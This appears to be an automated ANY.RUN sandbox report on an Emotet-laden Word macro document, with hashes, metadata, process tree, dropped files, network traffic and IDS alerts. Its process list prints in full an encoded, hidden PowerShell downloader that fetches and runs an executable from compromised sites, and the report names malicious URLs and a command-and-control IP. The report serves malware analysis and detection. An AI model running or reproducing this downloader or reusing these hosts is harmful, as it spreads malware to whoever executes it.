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File name:

HBB-010120 WMO-011820.doc

Full analysis: https://app.any.run/tasks/4fe37bcb-56c7-40f5-8bd8-817f4da8f458
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 18, 2020, 12:33:13
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Aut., Author: Adam Martin, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 22:29:00 2020, Last Saved Time/Date: Fri Jan 17 22:29:00 2020, Number of Pages: 2, Number of Words: 5, Number of Characters: 29, Security: 0
MD5:

8EB1A756A7ED0028574209F84DDCA879

SHA1:

8119A26B0C9D5DA62BA2502B0195CC8BBF68565C

SHA256:

CDAA61FA30208B7E389F6A79A954E9BDDA9798C0B1EC40FE5BE6CAE995A57893

SSDEEP:

6144:W0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+feOaGD9dwI:W0E3dxtR/iU9mvUPa8dwI

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 296.exe (PID: 2564)
      • serialfunc.exe (PID: 912)
      • 296.exe (PID: 1244)
      • serialfunc.exe (PID: 3924)
    • Downloads executable files from the Internet

      • Powershell.exe (PID: 3876)
    • Emotet process was detected

      • 296.exe (PID: 1244)
    • EMOTET was detected

      • serialfunc.exe (PID: 3924)
    • Connects to CnC server

      • serialfunc.exe (PID: 3924)
    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 3924)
  • SUSPICIOUS

    • Executed via WMI

      • Powershell.exe (PID: 3876)
    • PowerShell script executed

      • Powershell.exe (PID: 3876)
    • Creates files in the user directory

      • Powershell.exe (PID: 3876)
    • Executable content was dropped or overwritten

      • Powershell.exe (PID: 3876)
      • 296.exe (PID: 1244)
    • Starts itself from another location

      • 296.exe (PID: 1244)
    • Connects to server without host name

      • serialfunc.exe (PID: 3924)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1756)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 1756)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

CompObjUserType: Microsoft Forms 2.0 Form
CompObjUserTypeLen: 25
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 33
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 29
Words: 5
Pages: 2
ModifyDate: 2020:01:17 22:29:00
CreateDate: 2020:01:17 22:29:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: Adam Martin
Subject: -
Title: Aut.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 296.exe no specs #EMOTET 296.exe serialfunc.exe no specs #EMOTET serialfunc.exe

Process information

PID
CMD
Path
Indicators
Parent process
1756"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\HBB-010120 WMO-011820.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3876Powershell -w hidden -en JABTAG8AbgBsAGYAbQB4AGYAZwBsAGcAPQAnAFgAeQB5AHMAbgBrAGkAdQB5AHgAbwAnADsAJABFAGMAegBhAGQAeAB2AGUAYwAgAD0AIAAnADIAOQA2ACcAOwAkAFoAegByAHIAegBlAGIAeQBzAGUAPQAnAFYAcAB5AGIAeAB4AHAAbQBkAGUAeQBkAHEAJwA7ACQATQB3AGIAZwBvAHIAaAByAHkAZgBoAG4AZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBjAHoAYQBkAHgAdgBlAGMAKwAnAC4AZQB4AGUAJwA7ACQAUwB1AHIAegBkAHgAZAB5AGcAcAB0AGgAPQAnAFkAZgB1AGYAbgBwAHMAdwB4AHoAJwA7ACQATAB2AGIAbwBqAG8AbAB4AHYAeABtAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBiAGMAbABJAGUATgBUADsAJABGAHYAbwB2AGEAZABzAGgAaAB0AGIAbwA9ACcAaAB0AHQAcAA6AC8ALwBhAGQAeQBrAHUAcgBuAGkAYQB3AGEAbgAuAGMAbwBtAC8AbQBwADMALwAxADgAbwB4ADYAaAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBqAG0AZQBjAGgAYQBuAGkAYwBhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGQAZAB5AC8AKgBoAHQAdABwADoALwAvAG0AbwBqAGUAaABhAGYAdABvAG0ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADEAMwA3ADQAeAB2AC8AJwAuACIAcwBgAHAATABpAHQAIgAoACcAKgAnACkAOwAkAFYAZwB1AGIAbgBiAGgAbABpAGUAYgBlAD0AJwBTAHIAcwBtAGQAcQBpAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFEAdABzAHcAegBnAGYAcwBrAGkAagAgAGkAbgAgACQARgB2AG8AdgBhAGQAcwBoAGgAdABiAG8AKQB7AHQAcgB5AHsAJABMAHYAYgBvAGoAbwBsAHgAdgB4AG0ALgAiAEQAYABvAHcAbgBsAGAAbwBhAGAAZABmAEkATABFACIAKAAkAFEAdABzAHcAegBnAGYAcwBrAGkAagAsACAAJABNAHcAYgBnAG8AcgBoAHIAeQBmAGgAbgBlACkAOwAkAEQAeQBjAGMAYQB3AHcAcgBqAG0AYgB3AGUAPQAnAFMAegB2AGQAdQBlAHAAdwAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAE0AdwBiAGcAbwByAGgAcgB5AGYAaABuAGUAKQAuACIAbABlAGAATgBnAHQASAAiACAALQBnAGUAIAAyADkAMQA3ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGAAQQByAHQAIgAoACQATQB3AGIAZwBvAHIAaAByAHkAZgBoAG4AZQApADsAJABEAGwAdwB6AGoAdgBiAHYAPQAnAFkAZgBsAG0AaABqAHYAdwBhAHYAbQAnADsAYgByAGUAYQBrADsAJABMAHEAbQB4AGoAdQBuAGMAcgBmAD0AJwBMAHYAagBjAGcAdgBpAGgAbAB1AHUAawAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABWAHUAegBsAGIAbwBxAGEAawBqAHcAPQAnAEIAagBuAGgAegBtAHQAdgBuAGwAdQB0ACcAC:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2564"C:\Users\admin\296.exe" C:\Users\admin\296.exePowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
1244--b4d971edC:\Users\admin\296.exe
296.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
912"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe296.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
3924--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Version:
1, 0, 0, 76
Total events
2 248
Read events
1 422
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
1756WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR98CF.tmp.cvr
MD5:
SHA256:
1756WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFED36F446A1AE93E7.TMP
MD5:
SHA256:
3876Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OPWRI9I7X8B4GXIF0SKR.temp
MD5:
SHA256:
3876Powershell.exeC:\Users\admin\296.exe
MD5:
SHA256:
1756WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$B-010120 WMO-011820.docpgc
MD5:B463272AD4EAEDC947831F11547BE5ED
SHA256:01646E763B8A282E5C9ADCBB2E9ABADB128EA6CF8EAC6E0A0E9B61620B055FCB
3876Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
3876Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39a207.TMPbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
1756WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:8032A407895D8E9D2BB6589223B4888A
SHA256:534549629E0A7B0918B121CD41380D0B5E05083A9E1D1ECB2D231626D89AFA74
1244296.exeC:\Users\admin\AppData\Local\serialfunc\serialfunc.exeexecutable
MD5:0F973D998083C92B8863F62AE6A93AC0
SHA256:BE403CE2D14F38B66528D438457927218F1AA44A68530BF46B2703DA75DCC8BD
1756WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:3A036BD40F7ADD917CF777C351D71481
SHA256:9D17FA97F58A2009FC99087E5FA9F88E3CD291CA3DA54C92A910A2A9F549D521
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
3
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3876
Powershell.exe
GET
302
45.64.1.202:80
http://adykurniawan.com/mp3/18ox6h/
ID
html
233 b
malicious
3876
Powershell.exe
GET
200
45.64.1.202:80
http://adykurniawan.com/cgi-sys/suspendedpage.cgi
ID
html
7.41 Kb
malicious
3876
Powershell.exe
GET
200
35.237.206.52:80
http://myphamthanhbinh.net/wp-content/uploads/qDq/
US
executable
344 Kb
suspicious
3924
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/Bho3kZ
US
binary
66.3 Kb
malicious
3924
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/aMzz65jsQZn2T
US
binary
148 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3876
Powershell.exe
45.64.1.202:80
adykurniawan.com
PT Master Web Network
ID
malicious
3876
Powershell.exe
35.237.206.52:80
myphamthanhbinh.net
US
suspicious
3924
serialfunc.exe
100.6.23.40:80
MCI Communications Services, Inc. d/b/a Verizon Business
US
malicious

DNS requests

Domain
IP
Reputation
adykurniawan.com
  • 45.64.1.202
unknown
myphamthanhbinh.net
  • 35.237.206.52
suspicious

Threats

PID
Process
Class
Message
3876
Powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3876
Powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3876
Powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3924
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
3924
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
3924
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3924
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
3924
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
3924
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
No debug info